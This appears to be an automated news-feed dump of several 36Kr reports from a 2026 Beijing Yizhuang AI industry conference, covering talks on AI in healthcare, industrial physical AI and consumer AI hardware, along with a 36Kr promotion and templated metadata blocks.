nt在患者候诊时就完成病情采集并自动生成病历，医生采纳率高达93.4%。这套全链路AI智慧门诊的实践，去年还帮助武汉协和医院斩获国家卫健委体系评选的金奖。最后，杨明璐还介绍了百度健康“原子计划”，将平台积累的AI能力和服务资源全面向行业开放。她表示，医疗健康产业的升级绝非一家企业能独立完成，欢迎更多伙伴加入，一起把更好的健康服务送到更多人身边。以下为百度健康总经理杨明璐演讲内容，经36氪整理编辑：

杨明璐丨百度健康总经理各位同仁、各位朋友下午好，非常开心，感谢36氪的邀请来到AI+产业大会，我今天的演讲主题是AI+大健康：从技术赋能到价值创造，希望在15分钟的时间里和大家分享百度健康在AI+大健康产业赛道里的应用和价值落地的实践。大家知道这几年AI全民在谈AI，非常火爆，也经历了一些演变，从最开始我们都在卷模型、关注模型到这两年我们非常看重应用，最开始关注参数到现在关注场景，非常重要的一个应用场景方向就是健康。身在这个产业赛道中，我们也看到近些年来特别是一两年来AI驱动大健康进入供需已经进入重构的新阶段，首先从需求侧来看，大家知道中国在2035年就会进入重度老龄化社会，超过60岁的人占比要超过30%，老龄化会让大家看到更多人有健康的需求。慢病人群，2025年数据中国慢病人群已经大于5个亿了，这是非常大的数据，几乎每三个中国人就有一个有慢病的情况，底层人群结构的变化，让我们看到了在互联网上对互联网健康的需求非常快的增长，全民对自己健康意识的增强，也使我们看到，过去在互联网医疗只是得了病才来查，现在很多是治未病，了解医疗科普、健康知识、泛健康这样的人也越来越多。过去在百度搜索里看到医疗的频次，我们归为低频的业务，现在远不是低频了，已经往中高频迁移，人民需求是非常旺盛的，政策侧看到，健康中国2030规划纲要明确提出希望能够系统的、连续地为人民提供健康管理服务，这也是政策鼓励，需求井喷。供给侧如何呢？中国的居民里每千人执业医生数大概是3.04人，这个数据在发达国家要高出20%-30%，也就是说我们每个公民享有的医疗资源还是比较低的，大家的需求又在井喷，AI能够成为医疗健康供给扩容的新基建，这是非常关键的生产力。今天这个时间当口，AI驱动大健康的供需特别是供给侧改革，能够让优质供给规模化，这个是这个产业能够成立的底层逻辑。关键破局点是什么？我们看到AI在应用场景里很难落地，在健康场景里AI落地关键破局点，我们认为核心是两点，一个是生态协同，一个是专业可信，这也和我们的健康大的产业赛道特殊性相关，大家知道健康和医疗需求一般是比较复杂的，链路非常深，长周期、链路深会有各个不同的医药险、支付方的长链路，我们过去看到非常多在健康里做AI都是单点的，单点智能化很难形成连续、系统、好的健康服务，所以AI健康需要从单点智能走向全局协同。专业可信，AI改造了千行百业，但是在健康赛道上尊重健康赛道本身，是不容出错的，现在非常流行的一个说法，健康还是需要专业人士全流程参与，类比无人车，大家知道有L3、L4，健康产业里我们认为非常长的阶段和时期都是停留在L3阶段，人机协同，AI和专业人士的高度协同，不仅是安全红线的保障，也是给用户安全底线和信任的保障，这是我们对这个产业特殊性的观察。对于百度健康来说我们始终有一个明确的态度，源于我们对医疗健康的敬畏之心，生命面前，AI必须恪守安全底线，我们的价值观是赋能而非替代，辅助绝不主导。我们是谁？我们在做什么事，百度健康是百度搜索里所有健康医疗类的需求，现在都由我们这个团队和组织来承接的，我们2020年疫情期间从百度搜索里孵化出来的，百度搜索中有10%-12%的需求都是健康和医疗相关的，我们在多次用户调研和访谈中，中国老百姓的寻医问药第一心智入口还是在百度，2020年疫情非常严重的时候，我们团队独立出来成为独立BU，成立百度健康品牌，经过六年的迭代，百度健康已经成为全网最大的健康科普平台，每天我们要服务1.3亿人的健康和医疗精准搜索，同时经过这六年的积累，我们拥有全网6亿+专业医疗健康知识库，同时跟全国3300个包括30多名院士为主的权威专家团和超过430家顶级的权威医疗机构形成长期合作。过去六年的时间成长起来的，我们已经成为全网领先的互联网医疗平台，大家知道越来越多的人会在网上去问诊，找医生。今天百度已经和36万医生在平台上直

文章来源

标题: 以场景为锚，以AI为翼：大健康产业的实践与突破| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3820143885455751?f=rss
时间: 2026-05-22 15:32:35 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3820143885455751?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T12:01:25.130506+00:00

让好项目，更早被看见

Fri, 22 May 2026 12:01:15 +0000

原文摘要

提交报道链接：https://36kr.com/seek-report-new?t=1779418211266

36氪AI寻求报道很多项目第一次被行业真正看见，往往已经不是它最需要被看见的时候。那时候，它可能已经拿了融资，跑出了数据，进入了热门赛道，也开始频繁出现在投资人、媒体和产业方的视野里。但创业不是从融资新闻开始的。在更早的时候，一个项目可能只是一支还不够知名的团队，一个刚刚跑通的产品，一个藏在垂直行业里的新方法，或者一个还没有被充分解释清楚的市场判断。它不一定站在风口中央，也不一定拥有明星机构背书。更多时候，它甚至还没学会把自己的价值讲清楚。但这并不意味着它不值得被看见。 36氪推出「AI寻求报道」，想做的正是这件事：把好项目被看见的时间，再往前推一点。它不是一个简单的发稿入口，也不是把项目包装成流量故事的工具。更准确地说，它是一套面向项目方、FA、投资机构、园区、孵化器和产业服务方开放的项目发现与内容表达机制。我们希望通过更轻量的提报方式、更结构化的信息采集、AI 辅助成稿与人工审核，让那些有实质推进、有成长潜力、有行业意义的项目，在还没有被充分讨论之前，先获得一次被认真理解的机会。一、很多项目缺的不是曝光，是一次有效表达在创投市场里，信息从来不稀缺。每天都有大量项目在融资、路演、找客户、谈合作、发产品。真正稀缺的是：能被投资人、产业方、媒体和潜在客户快速理解的信息。我们见过太多这样的项目。技术打磨了很久，客户也在推进，但对外表达还停留在“我们是某某领域的创新者”；业务已经有了进展，但材料里全是功能介绍，看不出它到底解决了什么问题；创始人对行业很熟，但一到公开表达，就很难讲清楚“为什么是现在，为什么是我们，为什么值得关注”。这不是项目没有价值。很多时候，是价值还没有被翻译成行业能够理解的语言。一个项目解决什么问题？面向什么客户？产品跑到了什么阶段？和已有方案相比，有什么不同？客户为什么愿意买单？团队凭什么能做成这件事？这些问题，往往比一句“我们很创新”更重要。「AI寻求报道」想解决的，不只是帮项目写一篇文章，而是帮助项目完成一次更清晰的价值组织：把分散在 BP、官网、路演材料、融资计划和创始人口述里的信息收拢起来，把复杂的业务讲清楚，把值得被关注的部分放回合适的创投语境里。对项目方来说，这可能是一张更清楚的公开名片。对 FA、园区和产业服务方来说，这也是帮助服务项目从私域介绍、BP 转发和一对一沟通中走出来，形成可沉淀、可检索、可传播的公开内容资产。对投资人和产业方来说，它也可能成为观察早期项目、细分赛道和水下信号的新入口。降低门槛，但不降低判断标准创投报道天然更容易捕捉已经被验证的结果。大额融资、明星机构、头部赛道、快速增长，这些当然重要。它们构成了市场主线，也帮助行业判断趋势。但如果内容平台只看见已经发生的结果，就很容易错过那些正在形成中的信号。很多早期项目还没有足够大的融资金额，很多细分赛道短期内并不热闹，很多中小企业的创新也不一定天然具备强话题性。它们未必适合被包装成“大新闻”，但其中一部分，确实代表着某个行业正在发生的真实变化。 36氪「AI寻求报道」想降低的，是优质项目第一次被看见的门槛。二、降低门槛，不等于降低标准我们欢迎这样的项目：项目可以早期，但不能没有实质推进；赛道可以小众，但不能没有明确价值；项目可以尚未融资，但应该有清楚的产品、服务、客户、技术积累、商业模式或行业判断。这不是一个无差别的信息发布通道，我们拒绝这样的项目：纯概念阶段、信息无法核验、只靠包装堆砌概念、缺少真实产品或服务进展的项目，并不适合这个入口。36氪希望服务的是那些认真做事、真实推进、并且有内容值得被行业理解的项目。真正值得被看见的项目，不一定已经很大，但一定应该有可被理解、可被验证、可被继续追踪的内容。三、AI 提高效率，人工守住边界，36氪完成连接 AI 在「AI寻求报道」里的角色，不是替代媒体判断。它更像一个高效率的采编助手。通过自助采访和结构化提问，AI 可以帮助项目方把零散信息重新组织起来，通过辅助成稿。它可以降低项目完成第一次公开表达的时间成本。通过问题引导，它也能让项目更系统地回答外部世界真正关心的问题。但一篇内容是否适合发布，仍然需要经过人工审核。报道的价值不只是“生成出来”，更在于它是否真实、清楚、克制、有边界。AI 可以提升效率，但不能替项目虚构价值；AI 可以优化表达，但不能替代平台的内容判断。 36氪「AI寻求报道」真正想建立的，是一套“技术效率 + 内容标准 + 平台连接”的机制。 AI 负责提高信息组织和初稿生成效率；人工审核负责守住内容边界； 36氪��台则负责把项目放回创投与产业语境中，让更多投资人、产业方、创业者、行业读者和潜在合作伙伴有机会理解它。这件事的价值，不是让项目在信息流里多出现一次。而是让它以更清楚、更专业、更可信的方式，进入行业视野。四、为什么是 36氪寻求报道因为 36氪长期站在创业者、投资人和产业之间。过去多年，36氪持续记录中国新经济公司从早期融资、产品发布、商业化探索到产业成熟的全过程。我们理解创业公司的表达需求，也理解投资人和产业读者真正关心什么。他们关心的不是空泛的愿景，不是堆砌的概念，而是清楚的问题、真实的进展、可信的逻辑，以及可持续追踪的成长性。 36氪的能力不只是发布渠道，更是创投语境。我们知道一个项目应该如何被放进产业变化里理解，知道哪些信息能够帮助投资人快速判断，知道一篇项目内容如何从“自我介绍”变成“行业可读”。这也是「AI寻求报道」区别于普通发稿、模板通稿和单纯 AI 写作工具的地方。它不是让项目自己在信息流里大声喊话，而是帮助项目以更清楚、更可信的方式，进入 36氪长期积累的内容场域。对于项目方来说，这意味着不光是获得一篇文章，而是获得一次被行业认真理解的机会。对于 FA 和机构来说，这意味着服务中的项目不只是多一个曝光动作，而是多一种可沉淀、可转发、可被外部理解的项目表达方式。对于 36氪来说，这也意味着项目发现的入口被进一步前移。我们不仅记录那些已经跑出来的公司，也希望更早捕捉那些正在生成中的新公司、新产品、新模式和新趋势。五、今天的水下项目，可能是明天的行业变量我们尊重每一个还没有被充分看见的项目。但这种尊重，不是无差别地放大每一个声音。我们不是要把每一个项目都包装成“下一个独角兽”。相反，我们更希望帮助项目回到它真实的位置：把该说清楚的事情说清楚，把值得被看见的部分呈现出来，把可能关注它的人连接起来。一次报道未必立刻改变一个项目的命运。但一次被认真看见，可能带来一次有效对话；一次有效对话，可能带来一个关键客户、一位长期关注的投资人

文章来源

标题: 让好项目，更早被看见
来源: ai
链接: https://36kr.com/p/3820226045104257?f=rss
时间: 2026-05-22 16:55:24 +0800

核心内容

提交报道链接：https://36kr.com/seek-report-new?t=1779418211266

内容来源：ai 原文链接：https://36kr.com/p/3820226045104257?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T12:01:15.384183+00:00

江行智能：从感知环境到改变世界：物理AI的机遇、路径与实践| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 12:01:08 +0000

原文摘要

中国工业物理AI的真正优势不在模型参数，而在全球12倍的工业机器人部署密度、两倍的发电量和密集的5G边缘节点——场景密度、基建底座和开源模型的合力，正在推动物理AI从实验室走向规模化落地。

江行智能提出工业物理AI的三层模型，这套系统已在新能源场站和电网巡检场景落地——覆盖贵州、内蒙古等多地，核心算法准确率达99%。陈龙特别指出，工业场景下一个看似简单的巡检任务通常需要拆成100到200个子任务，这对AI的稳定性和可靠性提出了远超消费级应用的要求。以下为演讲内容，经36氪整理编辑：

陈龙丨江行智能基模CTO 各位嘉宾、行业伙伴下午好，我是来自江行智能的具身基模CTO陈龙，我的分享题目是从感知环境到改变世界：物理AI的机遇、路径和挑战。 AI 的竞争已经从数字世界的模型参数之争，转向了真实物理世界的系统能力之争。中国凭借独特的五层产业基础，正在成为全球工业物理 AI 落地的最佳土壤。江行智能通过打造全栈工业物理 AI 模型架构，已经在新能源、电网等核心领域实现了规模化部署，证明了物理 AI 从概念走向现实的可行性。 AI 竞争正在从模型竞争走向物理系统竞争过去几年，生成式 AI 在数字世界充分证明了自身价值，能够完成内容生成、代码编写、智能问答等任务。但对于工业企业而言，真正的价值前线不在屏幕里，而在风电场、光伏电站、变电站、矿山、化工园区和生产车间这些真实的物理空间。 AI 正在经历从 “生成答案” 到 “执行任务” 的关键演进。当 AI 走进工业现场，竞争的核心不再是模型参数规模或单点算法准确率，而是能否将人工智能稳定、可控、低成本地部署到真实物理世界。工业现场的任务从来不是 “看一张图判断有没有异常” 这么简单，它需要完成数据采集、环境理解、设备接入、任务规划、执行反馈和闭环迭代的全流程。这意味着物理 AI 不是一个孤立的模型，而是一套能够在现场持续运行的完整智能系统。中国工业物理 AI 的五层基础与三大结构性机会为什么工业物理 AI 在中国拥有最好的落地条件？中国已经形成了其他国家难以复制的五层系统性基础。第一层是应用层。中国拥有全球最高密度的工业场景，工业机器人安装量约为美国的 8.6 倍，过去十年增长了约 12 倍。真实场景越密集，“数据 - 模型 - 具身智能机器人” 的闭环就越容易形成。第二层是模型层。以 DeepSeek、通义千问（Qwen）、Kimi 为代表的国产化开源模型追赶迅速，性能快速逼近行业最优水平，并已在全行业完成广泛的垂直化部署，越来越贴近产业的实际需求。第三层是基础设施层。中国 5G 基站数量已超过 448 万，全球占比超过 60%，同时新增发电容量也远超美国。这使得我们在端侧和边缘侧拥有更强的网络与基建能力，能够更好地支持物理 AI 设备的现场接入与实时交互。第四层是芯片层。不可否认，我们在高端训练芯片领域与美国仍存在差距。但这一挑战也倒逼行业走上了更高效的技术路线，推动企业通过更优的模型结构、端边协同和软硬件联合优化来最大化现有硬件的性能潜力。第五层是能源层。当前中国发电量约为美国的两倍，发电机组装机量更是达到美国的三倍。充足且稳定的能源供给，为 AI 从云端训练走向大规模现场部署提供了长期的底层支撑。这五层基础叠加在一起，使中国工业物理 AI 不只是有技术想象，更有真实的落地土壤。在此基础上，我们总结出中国工业物理 AI 的三类核心结构性机会。第一类是供给侧底座机会。能源、网络、基础设施和边缘节点的持续完善，为 AI 进入工业现场提供了长期可靠的支撑。第二类是现场侧闭环机会。高密度的工业场景、大规模的机器人部署和多模态传感设备，让物理 AI 能够形成 “部署 - 采集 - 训练 - 迭代 - 再部署” 的完整数据飞轮，这是其他国家无法比拟的优势。第三类是效率侧路线机会。高端芯片的约束会推动行业走向更高效的模型、更强的边缘智能和更深的软硬协同，使工业物理 AI 更加注重低成本、可控性和可部署性。江行智能的定位，正是把这些组合优势组织成可部署、可复制、可持续迭代的工业物理 AI 系统。江行智能全栈工业物理 AI 模型架构工业现场的问题不能靠单一模型解决，它需要数据基础设施、物理世界建模、行业大模型、应用框架、设备控制和安全机制协同工作。基于这一认知，江行智能打造了面向工业场景的三层全栈物理 AI 模型架构，围绕工业物理 AI 对自主性、多模态、长任务和可靠性的核心需求设计。数据与基础设施层：JX-Phi World 双轮驱动作为整个架构的底座，JX-Phi World 采用 AutoEdge 和 AutoWorld 双轮驱动的核心设计，解决模型训练更快、落地更稳、成本更低的问题。 AutoEdge 负责真实工业数据的全流程处理，包括多模态环境数采、云端训练、边端推理、模型部署和 OTA 升级。它能够持续采集真实现场的任务、设备、工况和反馈数据，同时通过边缘侧推理显著降低网络传输压力与模型端到端时延。底层数据涵盖了传感器、热成像、无人机巡检以及低轨卫星遥感等工业现场的全维度信息。 AutoWorld 则是世界模型仿真和数据引擎。工业 AI 的一大痛点在��，很多关键异常并不高频发生，但一旦发生就必须准确识别和可靠处置。真实工业数据通常只能覆盖 90%-95% 的常规场景，对于极端天气、突发事件等 5% 的潜在风险与极端工况存在数据缺口。AutoWorld 通过生成式 AI 与 3D 重建技术，模拟生成各类罕见场景和复杂任务过程，支持 Sim-to-Real 迁移，让 AI 在仿真环境中把错误犯完，再部署到真实现场。模型层：JX-Phi Brain 向工业场景 WAM 演进 JX-Phi Brain 是整个架构的核心大脑，正在向工业场景 World Action Model（WAM）演进，融合了三类核心能力。第一类是空间视觉语言模型（S-VLM），解决 “感知 + 理解” 的问题。工业现场不是一张平面图，而是包含设备、人员、空间关系、运行状态和行业规则的动态环境。S-VLM 不仅能够感知工业厂房的物理环境，还能理解各类传感器读数与环境参数，实现跨模态推理与工业场景建模。第二类是长任务视觉语言动作模型（LT-VLA），解决 “感知 + 执行” 的问题。工业任务往往不是一步完成，而是多任务、多设备、多流程协同。LT-VLA 能够感知现场环境约束与任务要求，将复杂工业任务拆解为一系列可执行的子任务，并实现自引导式的任务优化与动态调整。第三类是行业垂类模型，把电力、化工、矿山等行业的专业知识融入模型，使模型能理解强规则、强约束、强安全要求下的真实任务。目前江行已经在电力、化工、矿山等行业支持超过 1000 个场站和点位的常态化数据采集，持续构建 “模型 + 数据” 的闭环。应用层：JX-Phi Agent 通过工业 Harness 与一脑多体实现价值落地模型本身不会自动创造产业价值，价值发生在模型被封装成可部署、可调用、可监管的现场系统之后。JX-Phi Agent 应用层的核

文章来源

标题: 江行智能：从感知环境到改变世界：物理AI的机遇、路径与实践| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3820298219425924?f=rss
时间: 2026-05-22 18:23:21 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3820298219425924?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T12:01:08.932473+00:00

AI时代核心终端生态定位与用户需求洞察| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 12:01:01 +0000

原文摘要

AI不是某一个超级单品的故事，而是一个多端协同的生态故事，消费者的期待与顾虑，正在定义这个生态的进化方向。

AI与硬件的融合分为四个阶段，当前正处于从深度融合走向生态化的关键节点。AI渗透率在手机端已从15%涨到40%，但仍是“加分项”而非“决策项”。未来，AI硬件生态的四个步骤——感知、记忆、决策、行动，或将分别由眼镜、手机、PC协同完成。以下为演讲内容，经36氪整理编辑：

赵晓鹏丨NIQ GfK创新事业部总经理大家好，很荣幸有这个机会，跟大家分享NIQ GfK对消费端的观点。我们公司专注研究消费者和终端产品，和大家的日常生活联系非常紧密。我今天的主题是AI时代核心终端生态定位与用户需求洞察，主要分两部分来讲。第一个话题是：当我们讨论AI的时候，我们在讨论哪些硬件？消费者又关心哪些特征？ AI与硬件是一个双向奔赴的过程。在我们看来，这可以分为四个阶段：第一阶段是探索期；第二阶段是智能工具期——大家应该都有印象，比如前几年AI语音交互突然爆发，涌现出很多新产品；第三阶段是深度融合期，AI和硬件结合更加紧密，已经进入了大家的手机、PC和平板。我们认为这还不是终局，未来会进入第四阶段——生态主导期，各种硬件将形成统一生态，全面融入大家的生活。消费者关注AI硬件时，更偏向随身设备。在我们的研究中，关注度排名前三的是手机、耳机和眼镜——这些产品便携性高，贴近日常使用；传统PC和平板同样保持稳定需求。 25岁以下的年轻人非常关心生产力。也就是说，除了娱乐功能之外，他们对能否提升工作效率也很在意。这部分人群主要是大学生，PC使用场景较多，同时也有不少创作需求。消费者对AI的价值点最感兴趣的是娱乐和生活便利相关功能。当然，学习和工作方面的需求也存在，只是目前的排名还没有娱乐那么高。但这并不代表需求不足，相反，我们认为这是值得探索和挖掘的方向。一旦这些需求被验证，将会释放出非常庞大的市场空间，这也是未来硬件公司需要重点关注的地方。现在搭载AI功能的设备很多，但AI硬件的关键，不在于是否带有AI功能——事实上，现在几乎所有硬件都或多或少具备AI能力。我们理解的AI，是深度参与设备的系统架构、交互方式和价值创造过程的，主要体现在三个方面：第一，系统级嵌入，不只是简单的交互，而是真正嵌入操作系统；第二，操作系统重构，过去是人适应设备，移动时代大家习惯用APP操作，未来将是设备适应人，你发出一个指令，它就能调动所有资源为你服务；第三，持续创造价值，系统可以不断学习、不断提升，它会随着使用不断进化。第二个话题是：用户对AI有这么多期待，是不是单一硬件就能满足？我们的结论是不能。未来的AI不会只依靠某一个硬件，而是一套生态。就像我一开始说的，未来是AI生态的融合。我们挑选了三种和普通消费者关联度较高的产品，组成一个简单的生态模型：第一个是眼镜，第二个是手机，第三个是PC。眼镜是全天候感知终端，手机负责轻量级数据处理和决策，如果遇到手机处理不了的重度任务，就交给PC进行深度计算；如果端侧仍然无法解决，再借助云端能力来补足。这是我们判断的未来方向：多端协同，构建分布式端侧AI生态。关于硬件，我们的观察如下：一、手机。现在手机本质上还是一个APP容器，大家基本上都是单独操作各个APP。未来这种模式会改变，AI应用可以跨多个APP协同工作，为用户完成复杂操作。AI入口可能掌握在手机厂商手中，也可能属于大模型厂商，但无论怎样，第一入口的争夺趋势看起来是不可逆的。此外，手机还将具备记忆功能，会记录机主的操作信息，了解你的喜好和使用习惯，并在使用中不断学习，下一次给你更精准、更满意的答案。二、PC。PC将成为AI的算力中心，辅助手机完成一些高强度计算任务。在我们看来，PC是每个人主权AI的最小单元——这台设备属于你，数据保留在本地，但能力可以延伸到云端，兼具端侧和云端优势。三、眼镜。这是一个相对较新的赛道。以前我们更多谈AR眼镜，AI眼镜的概念还比较新，目前主要分为有屏和无屏两种。无屏产品占比更高，这也符合我们的观察：AI眼镜的核心方向是做减法，不要做得太重。毕竟手机我们随身携带，家里通常也有电脑，眼镜戴在头上，必须足够轻便。 AI眼镜的独特性在于它是一个全天候感知终端。电脑和手机在很多场景下不方便一直操作，但眼镜可以随时随地采集数据，并扮演两个角色：一是随时随地与用户交互，操作比手机更方便；二是持续进行数据采集，是一种轻量化的AI工具，同时具备不可替代性，因为它不需要用手操作。这就是NIQ GfK眼中的硬件生态：通过多类硬件的组合来响应AI需求。眼镜作为全天候采集终端，不断将数据传递给手机，手机进行轻量化处理，解决消费者的问题；遇到更复杂的情况，再交给PC处理。在重度办公环境中，如果电脑就在身边，眼镜也可以直接与PC联动，为消费者提供服务。未来的产品肯定不止这三种，但通过生态解决问题，是我们认为硬件公司应坚持的方向。抢占AI赛道，不可能只靠某一个产品，也很难出现一个超级单品解决所有问题。真正的竞争在于打造终端生态，通过不同类型的产品构建完整的生态体系，占据终端的制高点。以上是我的分享，谢谢大家！

文章来源

标题: AI时代核心终端生态定位与用户需求洞察| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3820318177841541?f=rss
时间: 2026-05-22 18:37:09 +0800

核心内容

AI不是某一个超级单品的故事，而是一个多端协同的生态故事，消费者的期待与顾虑，正在定义这个生态的进化方向。

内容来源：ai 原文链接：https://36kr.com/p/3820318177841541?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T12:01:01.582531+00:00

圆桌对话：看见实效：从技术到处方，AI +医疗的场景落地与价值闭环| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 09:00:58 +0000

原文摘要

从五年前的技术炫技到今天的临床刚需，AI+医疗终于走过了“证明我能”的喧嚣，进入“解决痛点”的深水区。不做替代医生的空想，只做减轻负担的助手——这场对话告诉我们，AI医疗落地的第一步不是说服院长，而是赢得科室主任的信任；关键不是单点突破，而是多元数据联动形成闭环圆桌对话直面AI进医院的真实卡点：系统对接难、医生怕麻烦、责任划不清。从左医科技深耕九年的实战出发，从协和到宁夏中卫，揭示了分层落地的差异化逻辑——三甲提效率，基层补人力。用病历生成这一通用痛点作为中枢，往前接分诊，往后连随访，让“黑科技”变成医生愿意每天打开的工具。以下为圆桌演讲内容，经36氪整理编辑：

张戈丨华弋数智创始人&CEO（主持）韩旭丨左医科技医学合伙人张戈：各位来宾和直播前的各位朋友大家好，我是本轮对话主持人华弋数智张戈，非常欢迎韩总的到来，今天会聊一个特别实在的话题，AI医疗到底是怎么落地的，首先请韩总给大家打个招呼，用30秒告诉我们一件事，左医现在做的跟五年前那波AI辅助医疗热潮有什么本质区别？韩旭：谢谢张总，谢谢主办方的邀请，今天能在这儿跟大家做一个交流分享，左医科技从2016年开始深耕AI+医疗行业，我们也经历了AI医疗在国内发展的不同阶段，就我们理解五年前AI医疗更多的是技术和资本驱动的，大家想的是如何用AI技术来改造医疗甚至代替医生，做的东西更多是从技术角度出发，没有解决临床真正的问题，很难落地，现在更多是从临床真正的需求出发，关注的是医生每天日常工作中他们真正头疼的点是什么，想着用AI技术来降低医生的工作压力，提质增效，同时也让患者能够更顺畅地就医。张戈：从韩总的总结里我们感觉到医疗AI不断走深走实，首先我们非常关注场景落地的问题，AI医疗进入到医院，您觉得第一步要打通什么环节或者从什么地方入手，比如说要从上到下说服领导，还是培训医生，还是跟医疗的信息系统去进行对接，这里面哪个环节是卡点？韩旭：从我们的经验来看，AI医疗进医院，第一步肯定不是去说服院长，也不是对接HIS、EMR系统、全员培训，第一步应该是深入到临床一线、科室，争取到科室主任包括骨干医生的支持，让他们愿意做试点，在这个过程中真正见到效果以后，才涉及到去做后续的推广，刚才说到去对接EMR HIS系统，有一定的技术难度，同时做多方协调，成本、时间周期都很高，一上来做系统对接很容易成为卡点。医生培训没有实际的东西、没有实际效果，做培训也只是一种形式，没有实际意义，至于做全院推广，你在做科室试点，有一定的效果以后，拿着真实的数据去跟医院领导沟通，去做全院整体的推广，才会更有说服力。第二个卡点，1、系统对接，医院各个系统非常多，品牌、厂家也非常多，也不是标准的接口，数据格式包括字段、权限管控都不一样，现在医院对数据安全也非常重视，如果做对接需要协调信息科、医务科多个科室反复协调，这个过程很长，是非常大的卡点。 2、落地过程中会遇到的问题，医生的接受度，医生群体还是属于相对保守的群体，规避风险意识很强，有一个新的工具使用，他们是不愿意更改固有的工作习惯，怕工具上了以后会增加自己学习使用的负担，反而会增加工作量。再一个对AI产品的准确率、风险也会有一定的顾虑，实际项目落地过程中是有一个很难的点，怎么让医生接受、愿意使用。张戈：您说到落地过程中的细节非常实际的痛点，信息系统对接、权限管控，这些都是在信息类的项目里非常重要，要解决的卡点类的问题，既有对接协和这样顶级的三甲医院，也有您给宁夏中卫做的云上卫医，基层医疗的落地逻辑和三甲医院的落地逻辑有什么不同，是存在更大的困难，还是不同的医院不同信息化建设的水平，这里面是不是有不同的切入点。韩旭：像协和三甲医院和基层医疗机构，从需求来说，引入AI医疗系统，使用AI医疗产品，需求点是不一样的，落地路径包括切入点也是有差别的。比如像三甲医院，更聚焦于院内，主要解决的问题，专家资源很宝贵，医生时间很紧张，他更关注的是如何提高院内的效率，精细化把各个流程环节的效率提高，这些是三甲医院的需求。基层医疗机构面临的问题，医生少，日常工作也很繁重。虽然面临的疾病比如常见病，琐碎的事务也很多，但基层医疗机构有家庭医生签约服务的压力，每个人要签约一两千个居民，这个数量是服务不过来的，并且居民对于家庭医生签约服务也有一定的需求或者要求，服务能力是达不到的。对于基层医疗机构来使用AI医疗产品的特点。一方面通过AI的产品，病历生成、智能随访包括智能健康档案来帮助他做日常琐碎流程性的工作，也希望通过AI产品来帮助他服务患者。在院外服务患者对于三甲医院，协和这样的医疗机构需求不是很大，更多聚焦于解决院内的效率问题。张戈：不同医生群体有自己不同的诉求，我们通过解决他的需求，提升他工作效率，让他对AI产品有更好的接受度，这里面有没有遇到过比较抵触使用AI产品的场景，您这边怎么让一线的医护人员更加接受，这一块有没有经验？韩旭：这也是一个很重要的卡点，医护人员对很多新的工具一开始是抵触、观望的，有几种原因。第一个他会担心给自己增加负担，他需要学习、操作，医生工作站里的系统很多，HIS、EMR等系统，他要切换系统非常麻烦。第二个风险，生成的内容有问题会给他造成一定的风险。从几个方面入手解决，第一个我们的产品尽量做到更贴合他日常的工作，不是强行绑定，尽量做到不打扰，等于跟他原有的系统是融合，不是需要单独学习、操作，降低在使用学习新系统的心理负担。第二个在责任权责、界定，所有AI生成内容必须经过医生确认才可以发出的，他也可以随时修改，最终的决策权是在医生手里，他能对风险把控，这样会好很多。张戈：AI辅助诊疗，提升真正医者工作的效率。回到开场的问题，五年前AI医疗也火过一波，那时候讲的是AI辅助诊断、AI读片，今天左医科技您这边做的跟那时候相比核心区别在哪里，是技术能力变了，AI现在技术日新月异，应用场景随着时间的变化有变化，还是大家对医疗本身的理解有变化。韩旭：第一点对于医疗行业理解认知，AI医疗行业的理解认知发生了很大的变化，五年前，聚焦辅助诊疗，主要就想一下子切入诊疗环节，医疗诊疗是他的核心环节，通过技术，直接解决最难的问题，比如疑难杂症的辅助诊断，包括肿瘤治疗方案的推荐，专业壁垒最高的场景下，想在这上面发力，其实会面临很多问题，首先它的实现难度很大，医生也不太敢用，效果也不是特别好。现在更多的是大家逐渐认识到医疗，从医生角度日常工作来说，诊疗只是占用了其中很小的一部分时间，他在医院的大部分时间都是在处理文书类的病历、病史整理、随访、跟患者沟通，去做流程性工作、上报材料等工作占用了他很多时间。现在我们转变了思想，想去解决最核心的诊疗问题，转变为帮助医生来处理日常流程性、重复性、事务性工作，作为他的助手，帮助他把更多的时间用到真正的诊疗环节上，从场景上也会发生变化。之前大家都在做辅助诊断、影像识别病灶。现在诊前、诊中、诊后不同环节去做分导诊、预问诊、病例生成、疾病管理等。技术发展很重要，在刚才说的两点基础上来帮助实现的，大模型技术成熟、具备多模态能力，从最开始只能处理文本到现在的图片、影像、语音等，让整个AI能够辅助医

文章来源

标题: 圆桌对话：看见实效：从技术到处方，AI +医疗的场景落地与价值闭环| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3820150778531972?f=rss
时间: 2026-05-22 15:38:36 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3820150778531972?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T09:00:58.117847+00:00

能落地的请留下，讲故事的请离场

Fri, 22 May 2026 09:00:51 +0000

原文摘要

让合作当场发生！

